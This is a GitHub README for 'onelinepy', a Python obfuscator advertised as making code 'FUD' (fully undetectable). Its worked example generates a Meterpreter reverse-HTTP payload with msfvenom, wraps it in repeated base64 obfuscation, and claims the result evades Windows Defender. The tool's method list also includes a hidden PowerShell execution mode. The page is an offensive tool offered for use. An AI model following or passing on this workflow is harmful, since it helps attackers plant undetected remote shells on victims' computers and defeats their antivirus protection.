Skip to content

spicesouls/onelinepy

main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Code

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
 
 
 
 
 
 
 
 
 
 

onelinepy

Python Obfuscator for FUD Python Code.

Download & Run

git clone https://github.com/spicesouls/onelinepy
cd onelinepy
chmod +x setup.sh
./setup.sh
onelinepy

Usage Guide

              _ _                 
  ___ ___ ___| |_|___ ___ ___ _ _
 | . |   | -_| | |   | -_| . | | |     Python
 |___|_|_|___|_|_|_|_|___|  _|_  |     Obfuscator
                         |_| |___|

usage: oneline.py [-h] [-m M] [-i I] [--script SCRIPT] [--code CODE] [--list] [--output OUTPUT]

optional arguments:
  -h, --help       show this help message and exit
  -m M             Obfuscating Method (i.e, -m /one_line/base64)
  -i I             Iterations For Obfuscation.
  --script SCRIPT  File path of Python file to Obfuscate.
  --code CODE      Python code to Obfuscate.
  --list           List Obfuscating Methods.
  --output OUTPUT  Output File.

Example: Creating FUD Meterpreter Python Payload

  1. Generate Python Payload:

msfvenom --payload python/meterpreter_reverse_http LHOST=... LPORT=... > payload.txt

  1. Obfuscate Payload

onelinepy -m /one_line/base64 --script payload.txt -i 3 --output obfuscated_payload.txt

  1. Profit! The Obfuscated Payload works against Windows Defender.

More Examples

onelinepy -m /one_line/base64 --script payload.py -i 3
onelinepy -m /one_line/hex --code "print('HEX!')"

Obfuscation Method List

              _ _                 
  ___ ___ ___| |_|___ ___ ___ _ _
 | . |   | -_| | |   | -_| . | | |     Python
 |___|_|_|___|_|_|_|_|___|  _|_  |     Obfuscator
                         |_| |___|


  Obfuscators ( * = May cause Syntax Errors )
 -=============-
 0	/one_line/hex
 1	/one_line/base64
 2	/one_line/base32
 3	/one_line/gunzip*
 4	/one_line/rot13*
 5	/cmd/command
 6	/cmd/powershell
 7	/cmd/powershellhidden